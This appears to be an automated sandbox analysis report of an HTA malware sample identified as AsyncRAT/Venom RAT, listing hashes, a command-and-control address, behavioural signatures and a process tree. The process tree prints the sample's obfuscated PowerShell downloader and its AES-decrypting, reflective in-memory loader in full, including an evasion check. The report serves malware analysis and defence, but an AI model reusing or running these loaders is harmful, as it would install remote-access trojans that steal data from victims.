Analysis
- max time kernel
99s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system - submitted
08/05/2024, 14:57
Static task
static1
Behavioral task
behavioral1
Sample
1.hta
Resource
win7-20240221-en
11 signatures
150 seconds
General
- Target 1.hta
- Size 12KB
- Sample240508-sbkrhscc93
- SHA256 5732fcff80daf0db8287f1ea253768b8644b22464b9dbbf10e188b306afaf47c
- MD5 cc022fea5d0660e1e221b02d2c55553b
- SHA1 5f8e0d6d378574434e81abb240c8d55fc289df98
- SHA512 e266a072cf656cd0c2537b03fe492cae56f73d5dff50a6e1b4a94e14230da2011db74ebc9c09d773743dd36d75cd5858588d3094957276adcb0b2ad469b33f7a
- SSDEEP 384:VoYQ+ed9Q+eOQxKQcpoKKbVQVQcpLKKbFwQiQcprKKbwQPQ+EaKL7Eq7hftyQpST:VYAf1KKbUKKboKKbbTKrIZIZzHotYKA8
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
Family
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asyncrat
Version
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Venom RAT + HVNC + Stealer + Grabber v6.0.3
Botnet
-
Default
C2
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193.222.96.124:5050
Mutex
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agwxieactmnvbumvumk
Attributes
-
delay
1
-
install
false
-
install_folder
%AppData%
aes.plain
Signatures
- Async RAT payload 1 IoCs
resource yara_rule behavioral2/memory/4704-83-0x00000000078A0000-0x00000000078B8000-memory.dmp family_asyncrat - Blocklisted process makes network request 3 IoCs
flow pid Process 1 4856 powershell.exe 3 4856 powershell.exe 9 4704 powershell.exe -
pid Process 4856 powershell.exe 3168 powershell.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation mshta.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE - Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings powershell.exe - Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 5020 EXCEL.EXE - Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 4856 powershell.exe 4856 powershell.exe 4704 powershell.exe 4704 powershell.exe 3168 powershell.exe 3168 powershell.exe 4704 powershell.exe 4704 powershell.exe 4704 powershell.exe - Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 4856 powershell.exe Token: SeDebugPrivilege 4704 powershell.exe Token: SeDebugPrivilege 3168 powershell.exe - Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 5020 EXCEL.EXE 5020 EXCEL.EXE 5020 EXCEL.EXE 5020 EXCEL.EXE 5020 EXCEL.EXE 5020 EXCEL.EXE 5020 EXCEL.EXE 5020 EXCEL.EXE 5020 EXCEL.EXE 5020 EXCEL.EXE 5020 EXCEL.EXE 5020 EXCEL.EXE 4704 powershell.exe - Suspicious use of WriteProcessMemory 21 IoCs
description pid Process procid_target PID 380 wrote to memory of 4856 380 mshta.exe 78 PID 380 wrote to memory of 4856 380 mshta.exe 78 PID 380 wrote to memory of 4856 380 mshta.exe 78 PID 4856 wrote to memory of 5020 4856 powershell.exe 80 PID 4856 wrote to memory of 5020 4856 powershell.exe 80 PID 4856 wrote to memory of 5020 4856 powershell.exe 80 PID 4856 wrote to memory of 4388 4856 powershell.exe 81 PID 4856 wrote to memory of 4388 4856 powershell.exe 81 PID 4856 wrote to memory of 4388 4856 powershell.exe 81 PID 4388 wrote to memory of 4708 4388 cmd.exe 85 PID 4388 wrote to memory of 4708 4388 cmd.exe 85 PID 4388 wrote to memory of 4708 4388 cmd.exe 85 PID 4708 wrote to memory of 1680 4708 cmd.exe 87 PID 4708 wrote to memory of 1680 4708 cmd.exe 87 PID 4708 wrote to memory of 1680 4708 cmd.exe 87 PID 4708 wrote to memory of 4704 4708 cmd.exe 88 PID 4708 wrote to memory of 4704 4708 cmd.exe 88 PID 4708 wrote to memory of 4704 4708 cmd.exe 88 PID 4704 wrote to memory of 3168 4704 powershell.exe 91 PID 4704 wrote to memory of 3168 4704 powershell.exe 91 PID 4704 wrote to memory of 3168 4704 powershell.exe 91
Processes
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C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:380 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function lCfBYm($CxbstDZ, $hOVfNeFjMDKVb){[IO.File]::WriteAllBytes($CxbstDZ, $hOVfNeFjMDKVb)};function tegHetozGCLG($CxbstDZ){if($CxbstDZ.EndsWith((YHxkLPuDenWtsw @(45957,46011,46019,46019))) -eq $True){rundll32.exe $CxbstDZ }elseif($CxbstDZ.EndsWith((YHxkLPuDenWtsw @(45957,46023,46026,45960))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $CxbstDZ}elseif($CxbstDZ.EndsWith((YHxkLPuDenWtsw @(45957,46020,46026,46016))) -eq $True){misexec /qn /i $CxbstDZ}else{Start-Process $CxbstDZ}};function HVPZyUfwsXQUN($AOabLJYpXH){$zAoQSxGInPhmTj = New-Object (YHxkLPuDenWtsw @(45989,46012,46027,45957,45998,46012,46009,45978,46019,46016,46012,46021,46027));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$hOVfNeFjMDKVb = $zAoQSxGInPhmTj.DownloadData($AOabLJYpXH);return $hOVfNeFjMDKVb};function YHxkLPuDenWtsw($gDqabOaTrBupDM){$LjTGjOQYKEN=45911;$zmPdEgNuruHTyO=$Null;foreach($IgfJnWcttwE in $gDqabOaTrBupDM){$zmPdEgNuruHTyO+=[char]($IgfJnWcttwE-$LjTGjOQYKEN)};return $zmPdEgNuruHTyO};function vbCETHtlMccKpmVgu(){$MREPVsahkPX = $env:AppData + '\';$alhWjToureJPvdZsBUe = $MREPVsahkPX + '11.xlsx';If(Test-Path -Path $alhWjToureJPvdZsBUe){Invoke-Item $alhWjToureJPvdZsBUe;}Else{ $GuMutFsCYQ = HVPZyUfwsXQUN (YHxkLPuDenWtsw @(46015,46027,46027,46023,45969,45958,45958,45960,45968,45962,45957,45961,45961,45961,45957,45968,45965,45957,45960,45961,45963,45969,45966,45961,45967,45966,45958,45960,45960,45957,46031,46019,46026,46031));lCfBYm $alhWjToureJPvdZsBUe $GuMutFsCYQ;Invoke-Item $alhWjToureJPvdZsBUe;};$hAnIYx = $MREPVsahkPX + 'xD.bat'; if (Test-Path -Path $hAnIYx){tegHetozGCLG $hAnIYx;}Else{ $KeXJYIz = HVPZyUfwsXQUN (YHxkLPuDenWtsw @(46015,46027,46027,46023,45969,45958,45958,45960,45968,45962,45957,45961,45961,45961,45957,45968,45965,45957,45960,45961,45963,45969,45966,45961,45967,45966,45958,46031,45979,45957,46009,46008,46027));lCfBYm $hAnIYx $KeXJYIz;tegHetozGCLG $hAnIYx;};;;;}vbCETHtlMccKpmVgu;2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4856 -
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Roaming\11.xlsx"3⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:5020
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\xD.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:4388 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\xD.bat"4⤵
- Suspicious use of WriteProcessMemory
PID:4708 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Roaming\xD.bat';$wGtl='LowQGLawQGLdwQGL'.Replace('wQGL', ''),'ElfxQUemfxQUenfxQUtAfxQUtfxQU'.Replace('fxQU', ''),'FUtjArUtjAomUtjABasUtjAe6UtjA4UtjAStrUtjAingUtjA'.Replace('UtjA', ''),'GeOQGltOQGlCurOQGlrOQGleOQGlntOQGlPrOQGloOQGlcesOQGlsOQGl'.Replace('OQGl', ''),'EsWNTntsWNTryPsWNToisWNTntsWNT'.Replace('sWNT', ''),'MaieNXOnMoeNXOdueNXOleNXOeeNXO'.Replace('eNXO', ''),'TrOcAbansOcAbfoOcAbrmFOcAbiOcAbnaOcAblBOcAblocOcAbkOcAb'.Replace('OcAb', ''),'Splwhduiwhdutwhdu'.Replace('whdu', ''),'InPTvuvokPTvuePTvu'.Replace('PTvu', ''),'CreUFVYaUFVYteUFVYDUFVYecUFVYryUFVYptUFVYoUFVYrUFVY'.Replace('UFVY', ''),'CharscrngerscrErscrxrscrtrscrerscrnsirscrorscrnrscr'.Replace('rscr', ''),'DebAhhcobAhhmbAhhprbAhhebAhhssbAhh'.Replace('bAhh', ''),'CwGRRopwGRRyTwGRRowGRR'.Replace('wGRR', ''),'ReygHbadygHbLiygHbneygHbsygHb'.Replace('ygHb', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($wGtl[3])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function kqXMT($FvMLi){$yuVsf=[System.Security.Cryptography.Aes]::Create();$yuVsf.Mode=[System.Security.Cryptography.CipherMode]::CBC;$yuVsf.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$yuVsf.Key=[System.Convert]::($wGtl[2])('ZPmarITq2qISishmMhAN5SieN3zSIyXHEEMkcAYPN4Y=');$yuVsf.IV=[System.Convert]::($wGtl[2])('pKL8KnX4ANOD8Ef8OdOJnQ==');$fXTHi=$yuVsf.($wGtl[9])();$KWagE=$fXTHi.($wGtl[6])($FvMLi,0,$FvMLi.Length);$fXTHi.Dispose();$yuVsf.Dispose();$KWagE;}function ymbNX($FvMLi){$BKlMi=New-Object System.IO.MemoryStream(,$FvMLi);$CmUjH=New-Object System.IO.MemoryStream;$xWgPw=New-Object System.IO.Compression.GZipStream($BKlMi,[IO.Compression.CompressionMode]::($wGtl[11]));$xWgPw.($wGtl[12])($CmUjH);$xWgPw.Dispose();$BKlMi.Dispose();$CmUjH.Dispose();$CmUjH.ToArray();}$pYGwG=[System.IO.File]::($wGtl[13])([Console]::Title);$BqtDQ=ymbNX (kqXMT ([Convert]::($wGtl[2])([System.Linq.Enumerable]::($wGtl[1])($pYGwG, 5).Substring(2))));$fdKjl=ymbNX (kqXMT ([Convert]::($wGtl[2])([System.Linq.Enumerable]::($wGtl[1])($pYGwG, 6).Substring(2))));[System.Reflection.Assembly]::($wGtl[0])([byte[]]$fdKjl).($wGtl[4]).($wGtl[8])($null,$null);[System.Reflection.Assembly]::($wGtl[0])([byte[]]$BqtDQ).($wGtl[4]).($wGtl[8])($null,$null); "5⤵PID:1680
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4704 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3168
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-
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-
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gavzf1s5.um5.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\11.xlsx
- Size 18KB
- SHA256 6439b4eb61fd3f9a914406a5320f0ddb774448896969369ec5b956adebcc3747
- MD5 61562eb24f5d7875d55e920a2df52722
- SHA1 38dd6e80b6f4390406800c8c4179a2651b946101
- SHA512 514c35e9f36f44f0054ae137581279d6583347a899cf02133e013850025ca4c5c6e9e61834bd3cb507b1c8eb28a37a435ae1eef8307ffddb9889160d9cc9a4d1
- SSDEEP 384:wc3iFaYYM3VCa9xyt9IacU9+tNq+ng+b1IrM0daSGNxsN7kepBP:wFF0Qng4BUSNbR3ydp9
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\index.dat
- Size 213B
- SHA256 8f5cab79774b5a45840d40229501bd3fd2e2cfb9a45233da05512bba026be93c
- MD5 53e6dc34c2dbb14ebf72b7fa68b790a2
- SHA1 d993605324d927e4018d57527fd105ad23342ced
- SHA512 a968bf3ad04017f9f9df2aa3419f0532d40d7f4b76f5531a96f4421a129aba39b77693ff95dc1ce136c9567627202a5a7736ecd70b3885ce97782d6e0f531ae4
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
- Size 24B
- SHA256 90bf6baa6f968a285f88620fbf91e1f5aa3e66e2bad50fd16f37913280ad8228
- MD5 4fcb2a3ee025e4a10d21e1b154873fe2
- SHA1 57658e2fa594b7d0b99d02e041d0f3418e58856b
- SHA512 4e85d48db8c0ee5c4dd4149ab01d33e4224456c3f3e3b0101544a5ca87a0d74b3ccd8c0509650008e2abed65efd1e140b1e65ae5215ab32de6f6a49c9d3ec3ff
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
- Size 848B
- SHA256 c969f714dba8a164ea5a750cf7aca8fe1ac8598ae231e9e9ed0fb396b849b74c
- MD5 6f41c61edca5e102f244e1fc9c4c5e4b
- SHA1 6c077b5993b986af27429373c19351227aaec660
- SHA512 4ff21993f982b0482ea63787c5fe4c7efa1278bf2dee326379659382986b526ae15b6e6f82e64df8e9e7f8214ba34bdfbc48bcdb6932c8fcbb6bba7d207c168c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\xD.bat
- Size 65KB
- SHA256 7c797bc3c700354b531d7b0aa4fbcfe6f3221e580d398037cb4ac8f632a9743c
- MD5 2e34e0ab9244719305821c38fe213c37
- SHA1 9cb80851613191b21ebc40ad985b47fa68d8774c
- SHA512 2cc369e826d4ff65d1ffd6fb1e7ce830315fd21dc1fb54d6ec8b06c58a5f86870f0a57f0a847ca4525105784812a0fa4bfcc5e389291d7e84d18c2257675ead0
- SSDEEP 1536:dJJD1eHAwt3VtHZh/YIkdmwahCqtPlnHROQbXC1B2qv:i3VtHZhgIWmwahCqVx0QbXk2qv
- MD5 SHA1 SHA512 SSDEEP